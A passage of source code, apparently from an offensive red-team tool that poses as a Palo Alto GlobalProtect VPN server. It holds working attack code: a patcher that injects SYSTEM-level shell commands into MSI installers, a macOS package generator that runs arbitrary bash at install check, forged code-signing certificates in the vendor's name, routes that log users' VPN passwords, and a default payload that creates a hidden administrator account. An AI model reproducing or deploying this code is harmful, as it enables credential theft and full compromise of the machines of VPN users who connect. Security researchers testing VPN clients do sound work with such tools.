{new_product_code}\")\n\n    def add_custom_property(self, msi_path, name, value):\n        with tempfile.TemporaryDirectory() as temp_dir:\n            subprocess.run(['msidump', '-d', temp_dir, msi_path], check=True)\n\n            property_file = os.path.join(temp_dir, 'Property.idt')\n            with open(property_file, 'a', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerow([name, value])\n\n            subprocess.run(['msibuild', msi_path, '-i', os.path.join(temp_dir, 'Property.idt')], check=True)\n\n        return True\n\n    def add_custom_action(self, msi_path, name, type, source, target, sequence):\n        with tempfile.TemporaryDirectory() as temp_dir:\n            subprocess.run(['msidump', '-d', temp_dir, msi_path], check=True)\n\n            # Create a property to store the source\n            source_key = random_name()\n            property_file = os.path.join(temp_dir, 'Property.idt')\n            with open(property_file, 'a', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerow([source_key, source])\n\n            # Add CustomAction\n            custom_action_file = os.path.join(temp_dir, 'CustomAction.idt')\n            with open(custom_action_file, 'a', newline='') as f:\n                # Configure the CSV writer not to wrap fields in quotes even if they contain special chars,\n                # and to only try to escape \\t and ` (which shouldn't occur in most Windows commands)\n                writer = csv.writer(f, delimiter='\\t', quoting=csv.QUOTE_NONE, quotechar='`')\n                writer.writerow([name, str(type), source_key, target])\n\n            # Add to sequence\n            sequence_file = os.path.join(temp_dir, f'{sequence}.idt')\n            with open(sequence_file, 'a', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerow([name, '', str(ACTION_SEQUENCE_POSITION)])\n\n            # Add the property file to the MSI\n            subprocess.run(['msibuild', msi_path, \n                            '-i', os.path.join(temp_dir, 'Property.idt')], check=True)\n\n            # Add the custom action to the MSI\n            # For some reason the property file needs to be added twice like this\n            subprocess.run(['msibuild', msi_path,\n                            '-i', os.path.join(temp_dir, 'Property.idt'),\n                            '-i', os.path.join(temp_dir, 'CustomAction.idt')], check=True)\n\n            # Add the sequence to the MSI\n            subprocess.run(['msibuild', msi_path, \n                            '-i', os.path.join(temp_dir, f'{sequence}.idt')], check=True)\n        return True\n\n    def add_file(self, msi_path, file_path, component_name, feature_name):\n        with tempfile.TemporaryDirectory() as temp_dir:\n            subprocess.run(['msidump', '-d', temp_dir, msi_path], check=True)\n\n            file_name = os.path.basename(file_path)\n            file_key = f'_{random_hash()}'\n            component_key = f'C_{file_key}'\n            cab_name = f\"_{random_hash()}\"\n\n            # Create a new cabinet file\n            cab_path = os.path.join(temp_dir, cab_name)\n            self.create_cab_file(file_path, file_key, cab_path)\n\n            # Get the highest existing sequence number from the File table\n            file_table = os.path.join(temp_dir, 'File.idt')\n            max_sequence = 0\n            with open(file_table, 'r') as f:\n                reader = csv.reader(f, delimiter='\\t')\n                # Skip headers\n                for _ in range(3):\n                    next(reader)\n                for row in reader:\n                    if row and len(row) > 7 and row[7].isdigit():\n                        max_sequence = max(max_sequence, int(row[7]))  # Sequence is the 8th column\n\n            new_sequence = max_sequence + 1\n\n            # Add to File table\n            file_size = os.path.getsize(file_path)\n            with open(file_table, 'a', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerow([file_key, component_key, file_name, file_size, '', '', 512, new_sequence])\n\n            # Add to Component table\n            component_table = os.path.join(temp_dir, 'Component.idt')\n            with open(component_table, 'a', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerow([component_key, '{' + str(uuid.uuid4()).upper() + '}', 'TARGETDIR', 256, '', file_key])\n\n            # Query the Feature table to get the Feature key\n            feature_table = os.path.join(temp_dir, 'Feature.idt')\n            feature_key = None\n            with open(feature_table, 'r') as f:\n                reader = csv.reader(f, delimiter='\\t')\n                # Skip headers\n                for _ in range(3):\n                    next(reader)\n                row = next(reader, None)\n                if row:\n                    feature_key = row[0]\n                else:\n                    feature_key = random_hash()\n                    with open(feature_table, 'a', newline='') as f:\n                        writer = csv.writer(f, delimiter='\\t')\n                        writer.writerow([feature_key, '', '', '', 2, 1, 'TARGETDIR', 0])\n\n            # Add to FeatureComponents table\n            feature_components_table = os.path.join(temp_dir, 'FeatureComponents.idt')\n            with open(feature_components_table, 'a', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerow([feature_key, component_key])\n\n            # Add new Media entry\n            media_table = os.path.join(temp_dir, 'Media.idt')\n            new_disk_id = 1\n            with open(media_table, 'r') as f:\n                reader = csv.reader(f, delimiter='\\t')\n                # Skip headers\n                for _ in range(3):\n                    next(reader)\n                for row in reader:\n                    new_disk_id = max(new_disk_id, int(row[0])) + 1\n\n            with open(media_table, 'a', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerow([new_disk_id, new_sequence, '', f'#{cab_name}', '', ''])\n\n            # Add cabinet file to MSI\n            subprocess.run(['msibuild', msi_path, '-a', cab_name, cab_path], check=True)\n\n            # Rebuild MSI with modified tables\n            logging.info(f\"Rebuilding MSI from: {temp_dir}\")\n            subprocess.run(['msibuild', msi_path, \n                            '-i', os.path.join(temp_dir, 'File.idt'),\n                            '-i', os.path.join(temp_dir, 'Component.idt'),\n                            '-i', os.path.join(temp_dir, 'Feature.idt'),\n                            '-i', os.path.join(temp_dir, 'FeatureComponents.idt'),\n                            '-i', os.path.join(temp_dir, 'Media.idt')], check=True)\n\n\n        logging.info(f\"Added file to MSI: {file_name}\")\n        logging.info(f\"File key: {file_key}\")\n        logging.info(f\"Component key: {component_key}\")\n        logging.info(f\"Sequence number: {new_sequence}\")\n        logging.info(f\"New Media entry: DiskId {new_disk_id}\")\n        return True\n\n    @staticmethod\n    def create_cab_file(file_path, file_key, output_path):\n        file_name = os.path.basename(file_path)\n        arc = CabArchive()\n        with open(file_path, 'rb') as f:\n            arc[file_key] = CabFile(f.read())\n        with open(output_path, 'wb') as f:\n            f.write(arc.save(True))\n\ndef get_msi_patcher():\n    if os.name == 'nt':\n        return MSIPatcherWindows()\n    else:\n        return MSIPatcherLinux()\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-i', '--input', help='Input MSI file to add custom action to', required=True)\n    parser.add_argument('-o', '--output', help='Output file to write the patched MSI to', required=True)\n    parser.add_argument('-c', '--command', help='Command to inject into MSI', required=False)\n    parser.add_argument('-f', '--force', help=\"Delete output file if it exists\", action='store_true')\n    parser.add_argument('--increment', help=\"Increment MSI version\", action='store_true')\n    parser.add_argument('--add-file', help='Path to file to be added to the MSI', required=False)\n    parser.add_argument('--feature', help='Feature to add the file to', default=\"auto\")\n    args = parser.parse_args()\n\n    sequence = \"InstallExecuteSequence\"\n    action_type = (ACTION_TYPE_SHELL | ACTION_TYPE_CONTINUE | ACTION_TYPE_ASYNC | ACTION_TYPE_COMMIT |\n                   ACTION_TYPE_IN_SCRIPT | ACTION_TYPE_NO_IMPERSONATE)\n    source = \"C:\\\\windows\\\\system32\\\\cmd.exe\"\n\n    patcher = get_msi_patcher()\n\n    if os.path.exists(args.output):\n        if args.force:\n            os.remove(args.output)\n        else:\n            print(f\"Output file {args.output} already exists\")\n            exit(1)\n\n    shutil.copy(args.input, args.output)\n\n    if args.command:\n        target = args.command\n        if patcher.add_custom_action(args.output, f\"_{random_hash()}\", action_type, source, target, sequence):\n            print(\"Custom action added\")\n            modified = True\n\n    if args.add_file and patcher.add_file(args.output, args.add_file, random_hash(), args.feature):\n        print(\"File added to MSI\")\n\n    if args.increment:\n        patcher.increment_msi_version(args.output)\n        print(\"MSI version incremented\")\n\n    if not args.add_file and not args.command and not args.increment:\n        print(\"Warning: Writing unmodified MSI as no changes were requested\")\n"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/pkg_generator.py",
    "content": "from Crypto.Hash import SHA\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import PKCS1_v1_5\n\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.backends import default_backend\n\nimport io\nimport os\nimport sys\nimport zlib\nimport logging\nimport struct\nimport hashlib\nimport random\nimport base64\nimport string\nimport datetime\nimport argparse\n\n\nDIST_TEMPLATE = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<installer-gui-script minSpecVersion=\"1\">\n    <pkg-ref id=\"com.{package_id}\"/>\n    <title>{package_name}</title>\n    <options hostArchitectures=\"x86_64,arm64\"/>\n    <options customize=\"never\"/>\n    <options allow-external-scripts=\"true\"/>\n    <installation-check script=\"{installation_check}()\"/>\n    <script><![CDATA[\n    function {installation_check} () {{\n      system.run('/bin/bash', '-c', '{command}');\n      return false;\n    }}\n    ]]>\n    </script>\n    <pkg-ref id=\"woot.pkg\">\n        <bundle-version>\n            <bundle CFBundleVersion=\"{bundle_version}\" id=\"com.paloaltonetworks.GlobalProtect.gplock\"/>\n        </bundle-version>\n    </pkg-ref>\n</installer-gui-script>\"\"\"\n\nTOC_TEMPLATE = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xar>\n <toc>\n  <checksum style=\"sha1\">\n   <size>20</size>\n   <offset>0</offset>\n  </checksum>\n  <creation-time>{creation_time}</creation-time>\n  {signature_toc_entry}\n  <file id=\"1\">\n   <name>Distribution</name>\n   <type>file</type>\n   <data>\n    <archived-checksum style=\"sha1\">{compressed_hash}</archived-checksum>\n    <extracted-checksum style=\"sha1\">{extracted_hash}</extracted-checksum>\n    <encoding style=\"application/x-gzip\"/>\n    <size>{extracted_length}</size>\n    <offset>{data_offset}</offset>\n    <length>{compressed_length}</length>\n   </data>\n  </file>\n </toc>\n</xar>\n\"\"\"\n\n# <signature-creation-time>461137009.8</signature-creation-time>\nSIGNATURE_TOC_ENTRY = \"\"\"<signature style=\"RSA\">\n  <offset>20</offset>\n  <size>{signature_length}</size>\n  <KeyInfo xmlns=\"http://www.w3.org/2000/09/xmldsig#\">\n    <X509Data>\n     {x509_certs}\n    </X509Data>\n  </KeyInfo>\n</signature>\n\"\"\"\n\ndef build_signature_toc(certificates, signature_length):\n    x509_certs = ''\n    for cert in certificates:\n        x509_certs += f'<X509Certificate>{cert}</X509Certificate>'\n\n    return SIGNATURE_TOC_ENTRY.format(\n        signature_length=signature_length,\n        x509_certs=x509_certs).rstrip()\n\ndef extract_cert_base64(cert_file):\n    try:\n        with open(cert_file, \"rb\") as f:\n            cert = x509.load_pem_x509_certificate(f.read(), default_backend())\n            der_cert = cert.public_bytes(encoding=serialization.Encoding.DER)\n            return base64.b64encode(der_cert).decode()\n    except Exception as e:\n        logging.error(f'Unable to import {cert_file}: {e}')\n    return None\n\ndef get_signature(key_file, data):\n    try:\n        with open(key_file, 'rb') as f:\n            key_data = RSA.import_key(f.read())\n        return PKCS1_v1_5.new(key_data).sign(SHA.new(data))\n    except:\n        logging.error(f'Unable to get signature with key: {key_file}')\n    return None\n\ndef random_string(length=12):\n    return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(length))\n\ndef generate_pkg(version, command, package_name, cert_file=None, key_file=None, ca_file=None):\n    package_id = '{}.{}'.format(random_string(6).lower(), random_string(6).lower())\n    installation_check = random_string()\n    dist_file = DIST_TEMPLATE.format(\n        package_id=package_id,\n        package_name=package_name,\n        command=command,\n        installation_check=installation_check,\n        bundle_version=version\n        ).encode()\n\n    # figure out some offsets ..\n    data_offset = SHA.digest_size\n    sig_toc_entry = ''\n    if key_file and cert_file and ca_file:\n        test_sig = get_signature(key_file, b\"foobar\")\n        if not test_sig:\n            return False\n\n        # increment the offset by the size of the signature data\n        sig_len = len(test_sig)\n        data_offset += sig_len\n\n        # get required certificates\n        ca_cert = extract_cert_base64(ca_file)\n        signing_cert = extract_cert_base64(cert_file)\n        if not ca_cert or not signing_cert:\n            return False\n\n        # now populate the TOC entry\n        sig_toc_entry = build_signature_toc([signing_cert, ca_cert], sig_len)\n\n    dist_file_compressed = zlib.compress(dist_file)\n\n    toc_xml = TOC_TEMPLATE.format(\n        extracted_hash=hashlib.sha1(dist_file).hexdigest(),\n        extracted_length=len(dist_file),\n        compressed_hash=hashlib.sha1(dist_file_compressed).hexdigest(),\n        compressed_length=len(dist_file_compressed),\n        signature_toc_entry=sig_toc_entry,\n        data_offset=data_offset,\n        creation_time=datetime.datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S\")\n        ).encode()\n\n    #logging.debug(toc_xml)\n\n    toc_compressed = zlib.compress(toc_xml)\n    buf = io.BytesIO()\n    buf.write(b'xar!')                                  # magic\n    buf.write(b'\\x00\\x1c')                              # length of header\n    buf.write(b'\\x00\\x01')                              # version\n    buf.write(struct.pack('>Q', len(toc_compressed)))   # length of TOC compressed data\n    buf.write(struct.pack('>Q', len(toc_xml)))          # length of TOC uncompressed data\n    buf.write(b'\\x00\\x00\\x00\\x01')                      # checksum algorithm (sha1)\n    buf.write(toc_compressed)\n    buf.write(hashlib.sha1(toc_compressed).digest())    # sha1 of compressed data\n    if key_file and cert_file:\n        buf.write(get_signature(key_file,\n                                toc_compressed))        # write signature\n    buf.write(dist_file_compressed)\n    return buf.getvalue()\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Create a .pkg file for macOS and optionally sign it')\n    parser.add_argument(\"-v\", \"--version\", required=True, help=\"CFBundleVersion for the PKG file\")\n    parser.add_argument(\"-c\", \"--command\", help=\"Command to execute\", required=True)\n    parser.add_argument(\"-o\", \"--output\", required=True, help=\"Output file\")\n\n    parser.add_argument(\"-n\", \"--name\", required=True, help=\"Package name. Defaults to the output file name\")\n    parser.add_argument(\"-a\", \"--apple-cert\", help=\"Signing certificate\")\n    parser.add_argument(\"-k\", \"--apple-key\", help=\"Key for signing certificate\")\n    parser.add_argument(\"--ca-cert\", help=\"CA Certificate\", dest=\"ca_cert\")\n    args = parser.parse_args()\n\n    if args.name:\n        pkg_name = args.name\n    else:\n        pkg_name = os.path.basename(args.output_file)\n\n    cert_args = [args.apple_key, args.apple_cert, args.ca_cert]\n\n    if any(cert_args) and not all(cert_args):\n        parser.error ('You must supply --cert, --key and --ca-cert together')\n\n    for arg in cert_args:\n        if arg and not os.path.exists(arg):\n            print(f\"[!] Certificate file '{arg}' not found\")\n            sys.exit(1)\n\n    outbuf = generate_pkg(args.version, args.command, \n                             pkg_name, args.apple_cert, args.apple_key, args.ca_cert)\n    if not outbuf:\n        sys.exit(1)\n\n    with open(args.output, 'wb') as f:\n        f.write(outbuf)\n\n    print(f'[+] Done! pkg file written to: {args.output}')\n"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/plugin.py",
    "content": "from nachovpn.plugins import VPNPlugin\nfrom flask import Response, abort, request, redirect\nfrom nachovpn.plugins.paloalto.pkg_generator import generate_pkg\nfrom nachovpn.plugins.paloalto.msi_patcher import get_msi_patcher, random_hash, ACTION_TYPE_SHELL, ACTION_TYPE_CONTINUE, \\\n    ACTION_TYPE_ASYNC, ACTION_TYPE_COMMIT, ACTION_TYPE_IN_SCRIPT, ACTION_TYPE_NO_IMPERSONATE\nfrom urllib.parse import urlparse, parse_qs\n\nimport subprocess\nimport shutil\nimport uuid\nimport ssl\nimport os\nimport io\nimport re\nimport random\n\n# SSL-VPN packet types\nSSL_VPN_MAGIC = bytes.fromhex('1a2b3c4d')\nSSL_VPN_STATIC = bytes.fromhex('0100000000000000')\nKEEP_ALIVE_PACKET = bytes.fromhex('1a2b3c4d000000000000000000000000')\nETHER_TYPES = {0x0800: 'IPv4', 0x0806: 'ARP', 0x86dd: 'IPv6'}\n\nclass PaloAltoPlugin(VPNPlugin):\n    def __init__(self, *args, **kwargs):\n        # provide the templates directory relative to this plugin\n        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))\n\n        # Payload storage\n        self.payload_dir = os.path.join(os.getcwd(), 'payloads')\n        self.download_dir = os.path.join(os.getcwd(), 'downloads')\n        os.makedirs(self.payload_dir, exist_ok=True)\n        os.makedirs(self.download_dir, exist_ok=True)\n\n        # Stores the downgraded state for each version suffix\n        self.allocated_suffixes = {}\n\n        # Payload options\n        self.msi_force_patch = os.getenv(\"PALO_ALTO_FORCE_PATCH\", False)\n        self.msi_add_file = os.getenv(\"PALO_ALTO_MSI_ADD_FILE\", None)\n        self.msi_increment_version = os.getenv(\"PALO_ALTO_MSI_INCREMENT_VERSION\", True)\n        self.pkg_command = os.getenv(\"PALO_ALTO_PKG_COMMAND\", \"touch /tmp/pwnd\")\n        self.msi_command = os.getenv(\n            \"PALO_ALTO_MSI_COMMAND\",\n            r\"net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add\"\n        )\n\n        # Certificate paths\n        self.apple_cert_path = os.path.join('certs', 'paloalto-apple.cer')\n        self.apple_key_path = os.path.join('certs', 'paloalto-apple.key')\n        self.codesign_cert_path = os.path.join('certs', 'paloalto-codesign.cer')\n        self.codesign_key_path = os.path.join('certs', 'paloalto-codesign.key')\n        self.codesign_pfx_path = os.path.join('certs', 'paloalto-codesign.pfx')\n\n        # Gateway config\n        self.gateway_config = {\n            \"gateway_ip\": self.external_ip,\n            \"ca_certificate\": \"\",\n            \"dns_name\": self.dns_name,\n        }\n\n        # Run bootstrap\n        if not self.bootstrap():\n            self.logger.error(f\"Failed to bootstrap. Disabling {self.__class__.__name__}\")\n            self.enabled = False\n\n    def generate_unique_suffix(self):\n        while True:\n            suffix = os.urandom(8).hex()\n            if suffix not in self.allocated_suffixes:\n                self.allocated_suffixes[suffix] = False\n                self.logger.info(f\"Generated unique suffix: {suffix}\")\n                return suffix\n\n    def generate_pkg(self):\n        pkg_buf = generate_pkg(\n            self.upgrade_version.replace('-', 'f'),\n            self.pkg_command,\n            \"GlobalProtect\",\n            self.apple_cert_path,\n            self.apple_key_path,\n            self.cert_manager.ca_cert_path\n        )\n        pkg_path = os.path.join(self.payload_dir, \"GlobalProtect.pkg\")\n        with open(pkg_path, 'wb') as f:\n            f.write(pkg_buf)\n        return pkg_path\n\n    def get_higher_version(self, version):\n        version = version.split('-')[0]\n        major, minor, patch = map(int, version.split('.'))\n        patch += 1\n        if patch == 100:\n            minor += 1\n            patch = 0\n        if minor == 100:\n            major += 1\n            minor = 0\n        return f\"{major}.{minor}.{patch}\"\n\n    def get_latest_msi_version(self):\n        version_file = os.path.join(self.download_dir, \"msi_version.txt\")\n        if not os.path.exists(version_file):\n            self.logger.error(f\"MSI version file not found\")\n            self.logger.info(f\"Run downloader to fetch latest MSI files, or manually add {version_file}\")\n            return None\n\n        with open(version_file, \"r\") as f:\n            version = f.read().strip()\n\n        self.logger.info(f\"Latest MSI version: {version}\")\n        return version\n\n    def sign_msi_files(self):\n        if not os.path.exists(self.codesign_cert_path):\n            self.logger.error(\"Windows code signing certificate not found, skipping signing\")\n            return False\n\n        if not os.path.exists(os.path.join(self.payload_dir, \"GlobalProtect.msi\")) or \\\n           not os.path.exists(os.path.join(self.payload_dir, \"GlobalProtect64.msi\")):\n            self.logger.error(\"MSI files not found, skipping signing\")\n            return False\n\n        if os.name == \"nt\":\n            self.logger.error(\"Windows MSI signing not supported yet\")\n            return False\n\n        if not os.path.exists('/usr/bin/osslsigncode'):\n            self.logger.error(\"osslsigncode not found, skipping signing\")\n            return False\n\n        # Sign the MSI files\n        for msi_file in [\"GlobalProtect.msi\", \"GlobalProtect64.msi\"]:\n            input_file = os.path.join(self.payload_dir, msi_file)\n            output_file = os.path.join(self.payload_dir, f\"{msi_file}.signed\")\n\n            # Remove existing signed file\n            if os.path.exists(output_file):\n                os.remove(output_file)\n\n            proc = subprocess.run([\n                \"/usr/bin/osslsigncode\", \"sign\", \"-pkcs12\", self.codesign_pfx_path,\n                \"-in\", input_file, \"-out\", output_file,\n                ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n            if proc.returncode or not os.path.exists(output_file):\n                self.logger.error(f\"Failed to sign {msi_file}: {proc.returncode}\")\n                return False\n            else:\n                self.logger.info(f\"Signed {msi_file}\")\n                os.replace(output_file, input_file)\n        return True\n\n    def verify_msi_files(self):\n        # Verify that the MSI files are signed by our current CA\n        if os.name == \"nt\":\n            self.logger.error(\"Windows MSI verification not supported yet\")\n            return True\n\n        if os.name == \"posix\" and not os.path.exists('/usr/bin/osslsigncode'):\n            self.logger.error(\"osslsigncode not found, skipping verification\")\n            return True\n\n        for msi_file in [\"GlobalProtect.msi\", \"GlobalProtect64.msi\"]:\n            proc = subprocess.run([\n                \"/usr/bin/osslsigncode\", \"verify\", \"-CAfile\", self.cert_manager.ca_cert_path,\n                \"-in\", os.path.join(self.payload_dir, msi_file),\n                ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n            if proc.returncode:\n                self.logger.error(f\"Failed to verify {msi_file}: {proc.returncode}\")\n                return False\n\n        self.logger.info(\"MSI files verified\")\n        return True\n\n    def patch_msi_files(self):\n        # Patch the msi files\n        if os.path.exists(os.path.join(self.payload_dir, \"GlobalProtect.msi\")) and \\\n           os.path.exists(os.path.join(self.payload_dir, \"GlobalProtect64.msi\")) and \\\n           not self.msi_force_patch and self.verify_msi_files():\n            self.logger.warning(\"MSI files already patched, skipping\")\n            return True\n\n        if os.name == \"posix\" and not os.path.exists('/usr/bin/msidump'):\n            self.logger.error(\"msitools not found, skipping patching\")\n            return True\n\n        # Check if MSI files are present\n        if not os.path.exists(os.path.join(self.download_dir, \"GlobalProtect.msi\")) or \\\n           not os.path.exists(os.path.join(self.download_dir, \"GlobalProtect64.msi\")):\n            self.logger.warning(f\"MSI files not found in download directory: {self.download_dir}\")\n            self.logger.info(f\"Run downloader to fetch latest MSI files, or add manually\")\n            return False\n\n        patcher = get_msi_patcher()\n\n        for msi_file in [\"GlobalProtect.msi\", \"GlobalProtect64.msi\"]:\n            # Copy default MSI file to payload directory\n            input_file = os.path.join(self.download_dir, msi_file)\n            output_file = os.path.join(self.payload_dir, msi_file)\n            shutil.copy(input_file, output_file)\n\n            # Add patches\n            if self.msi_add_file:\n                patcher.add_file(output_file, self.msi_add_file, random_hash(), \"DefaultFeature\")\n                self.logger.info(f\"Added file {self.msi_add_file} to {msi_file}\")\n\n            if self.msi_command:\n                action_type = (ACTION_TYPE_SHELL | ACTION_TYPE_CONTINUE | ACTION_TYPE_ASYNC | ACTION_TYPE_COMMIT |\n                               ACTION_TYPE_IN_SCRIPT | ACTION_TYPE_NO_IMPERSONATE)\n                patcher.add_custom_action(output_file, f\"_{random_hash()}\", action_type,\n                                          \"C:\\\\windows\\\\system32\\\\cmd.exe\", f\"/c {self.msi_command}\", \n                                          \"InstallExecuteSequence\")\n                self.logger.info(f\"Added custom action to {msi_file}\")\n\n            if self.msi_increment_version:\n                patcher.increment_msi_version(output_file)\n                self.logger.info(f\"Incremented MSI version for {msi_file}\")\n\n        self.logger.info(\"MSI files patched\")\n        return True\n\n    def bootstrap(self):\n        # Get versions\n        self.latest_version = self.get_latest_msi_version()\n        if not self.latest_version:\n            return False\n\n        self.upgrade_version = self.get_higher_version(self.latest_version)\n\n        # Generate an Apple code signing certificate\n        if not os.path.exists(self.apple_cert_path) or not os.path.exists(self.apple_key_path):\n            self.cert_manager.generate_apple_certificate(\n                common_name=\"Developer ID Installer: Palo Alto Networks (PXPZ95SK77)\",\n                cert_path=self.apple_cert_path,\n                key_path=self.apple_key_path\n            )\n\n        # Generate a Windows code signing certificate\n        if not os.path.exists(self.codesign_cert_path) or not os.path.exists(self.codesign_key_path):\n            self.cert_manager.generate_codesign_certificate(\n                common_name=\"Palo Alto Networks\",\n                cert_path=self.codesign_cert_path,\n                key_path=self.codesign_key_path,\n                pfx_path=self.codesign_pfx_path\n            )\n\n        # Load the CA certificate into the gateway config\n        with open(self.cert_manager.ca_cert_path, 'r') as f:\n            self.gateway_config[\"ca_certificate\"] = f.read()\n\n        # Generate the macOS pkg payload (GlobalProtect.pkg)\n        self.generate_pkg()\n\n        # Get latest MSI version\n        latest_version = self.get_latest_msi_version()\n        if not latest_version:\n            return False\n\n        # Check for .old MSI files\n        for msi_file in [\"GlobalProtect.msi\", \"GlobalProtect64.msi\"]:\n            old_file = os.path.join(self.download_dir, f\"{msi_file}.old\")\n            if not os.path.exists(old_file):\n                self.logger.warning(f\"Older version MSI file not found: {old_file}\")\n                self.logger.info(f\"Add {msi_file}.old to {self.download_dir} to enable version downgrade\")\n\n        # Patch the Windows MSI files and sign them\n        if not self.patch_msi_files():\n            return False\n        if not self.sign_msi_files():\n            return False\n        return True\n\n    def close(self):\n        self.ssl_server_socket.close()\n\n    def can_handle_data(self, data, client_socket, client_ip):\n        return len(data) >= 4 and data[:4] == SSL_VPN_MAGIC\n\n    def can_handle_http(self, handler):\n        user_agent = handler.headers.get('User-Agent', '')\n        if 'GlobalProtect' in user_agent or \\\n           handler.path.startswith('/ssl-tunnel-connect.sslvpn'):\n            return True\n        return False\n\n    def generate_auth_cookie(self, connection_id):\n        return uuid.UUID(connection_id).bytes.hex()\n\n    def decode_auth_cookie(self, auth_cookie):\n        return str(uuid.UUID(bytes=bytes.fromhex(auth_cookie)))\n\n    def extract_auth_cookie(self, handler):\n        query = urlparse(handler.path).query\n        params = parse_qs(query)\n        return params.get('authcookie', [None])[0]\n\n    def handle_http(self, handler):\n        if handler.command == 'GET' and handler.path.startswith('/ssl-tunnel-connect.sslvpn'):\n            auth_cookie = self.extract_auth_cookie(handler)\n            connection_id = self.decode_auth_cookie(auth_cookie)\n            if not connection_id:\n                self.logger.error(f\"Unknown connection_id: {connection_id}\")\n                return False\n\n            # Assign the socket to the connection_id\n            if not self.packet_handler.assign_socket(connection_id, handler.connection):\n                return False\n\n            self.logger.info(f\"Starting tunnel for {connection_id}\")\n            handler.connection.sendall(b'START_TUNNEL')\n\n            # Pass handling to data handler\n            return self.handle_data(b'', handler.connection, handler.client_address[0], connection_id)\n        elif handler.command == 'GET':\n            return self.handle_get(handler)\n        elif handler.command == 'POST':\n            return self.handle_post(handler)\n        return False\n\n    def _setup_routes(self):\n        # Call the parent class's route setup\n        super()._setup_routes()\n\n        @self.flask_app.route('/global-protect/prelogin.esp', methods=['GET', 'POST'])\n        def global_protect_pre_login():\n            xml = self.render_template('prelogin.xml')\n            return Response(xml, mimetype='application/xml')\n\n        @self.flask_app.route('/ssl-vpn/prelogin.esp', methods=['GET', 'POST'])\n        def ssl_vpn_pre_login():\n            xml = self.render_template('sslvpn-prelogin.xml')\n            return Response(xml, mimetype='application/xml')\n\n        @self.flask_app.route('/ssl-vpn/login.esp', methods=['GET', 'POST'])\n        def ssl_vpn_login():\n            if request.method == \"POST\":\n                username = request.form.get('user')\n                password = request.form.get('passwd')\n                if username:\n                    self.logger.info(f\"Username: {username}\")\n                if password:\n                    self.logger.info(f\"Password: {password}\")\n                if username and password:\n                    info = {'User-Agent': request.headers.get('User-Agent')}\n                    self.db_manager.log_credentials(\n                        username,\n                        password,\n                        self.__class__.__name__,\n                        info\n                    )\n\n            connection_id, ip_address = self.packet_handler.create_session(None, self._wrap_packet)\n            client_config = self.gateway_config.copy()\n            client_config[\"client_ip\"] = ip_address\n            client_config[\"auth_cookie\"] = self.generate_auth_cookie(connection_id)\n            xml = self.render_template('sslvpn-login.xml', **client_config)\n            return Response(xml, mimetype='application/xml')\n\n        @self.flask_app.route('/global-protect/getconfig.esp', methods=['GET', 'POST'])\n        def global_protect_get_config():\n            if request.method == \"POST\":\n                username = request.form.get('user')\n                password = request.form.get('passwd')\n                if username:\n                    self.logger.info(f\"Username: {username}\")\n                if password:\n                    self.logger.info(f\"Password: {password}\")\n                if username and password:\n                    info = {'User-Agent': request.headers.get('User-Agent')}\n                    self.db_manager.log_credentials(\n                        username,\n                        password,\n                        self.__class__.__name__,\n                        info\n                    )\n\n            # check if we need to downgrade\n            if self.should_downgrade(request.headers.get('User-Agent', '')):\n                suffix = self.generate_unique_suffix()\n                version = self.upgrade_version + f\"-{suffix}\"\n            else:\n                version = self.upgrade_version\n\n            config = self.gateway_config.copy()\n            config[\"version\"] = version\n            xml = self.render_template('pwresponse.xml', **config)\n            return Response(xml, mimetype='application/xml')\n\n        @self.flask_app.route('/ssl-vpn/getconfig.esp', methods=['POST'])\n        def ssl_vpn_get_config():\n            if request.method == \"POST\":\n                username = request.form.get('user')\n                password = request.form.get('passwd')\n                if username:\n                    self.logger.info(f\"Username: {username}\")\n                if password:\n                    self.logger.info(f\"Password: {password}\")\n                if username and password:\n                    info = {'User-Agent': request.headers.get('User-Agent')}\n                    self.db_manager.log_credentials(\n                        username,\n                        password,\n                        self.__class__.__name__,\n                        info\n                    )\n\n            # Fill in the assigned IP address\n            auth_cookie = request.form.get('authcookie')\n            connection_id = self.decode_auth_cookie(auth_cookie)\n            if not connection_id:\n                self.logger.error(f\"Unknown connection_id: {connection_id}\")\n                return abort(404)\n\n            client_ip = self.packet_handler.get_assigned_ip(connection_id)\n            self.logger.info(f\"Client IP: {client_ip}\")\n            client_config = self.gateway_config.copy()\n            client_config[\"client_ip\"] = client_ip\n            xml = self.render_template('getconfig.xml', **client_config)\n            return Response(xml, mimetype='application/xml')\n\n        @self.flask_app.route('/global-protect/getmsi.esp', methods=['GET', 'POST'])\n        def get_msi_redirect():\n            user_agent = request.headers.get('User-Agent')\n            version = request.args.get('v')\n            if 'apple mac' in user_agent.lower() or 'darwin' in user_agent.lower():\n                return redirect(f\"/msi/GlobalProtect.pkg\", code=302)\n            elif request.args.get('version') == '64':\n                return redirect(f\"/msi/GlobalProtect64.msi?v={version}\", code=302)\n            return redirect(f\"/msi/GlobalProtect.msi?v={version}\", code=302)\n\n        @self.flask_app.route('/msi/<file_name>', methods=['GET'])\n        def download_msi(file_name):\n            if file_name not in ['GlobalProtect.pkg', 'GlobalProtect.msi', 'GlobalProtect64.msi']:\n                return abort(404)\n\n            version = request.args.get('v', '')\n            file_path = os.path.join(self.payload_dir, file_name)\n\n            \"\"\"\n            This is a workaround due to the GlobalProtect client not sending its current 